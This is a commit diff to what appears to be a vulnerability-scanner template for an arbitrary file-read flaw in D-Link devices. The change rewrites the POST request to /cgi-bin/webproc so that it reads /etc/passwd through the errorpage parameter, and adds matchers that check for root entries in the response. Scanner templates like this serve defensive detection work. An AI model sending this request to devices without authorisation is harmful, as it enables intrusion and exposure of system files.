Update d-link-arbitary-fileread.yaml

patch-1
sandeep 2021-03-02 21:14:29 +05:30
parent c3c9becd9b
commit 74e63203b7
1 changed files with 11 additions and 5 deletions

View File

@ -10,10 +10,16 @@ requests:
- method: POST
path:
- "{{BaseURL}}/cgi-bin/webproc"
body: 'getpage=html%2Findex.html&errorpage=/var/log/sysevent.txt&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=test&%3Aaction=login&%3Asessionid=365dfaef'
body: 'errorpage=/etc/passwd&obj-action=auth&:action=login'
matchers-condition: and
matchers:
- type: word
words:
- "Manufacturer: D-Link"
condition: and
- type: regex
regex:
- "root:[x*]:0:0"
part: body
- type: status
status:
- 200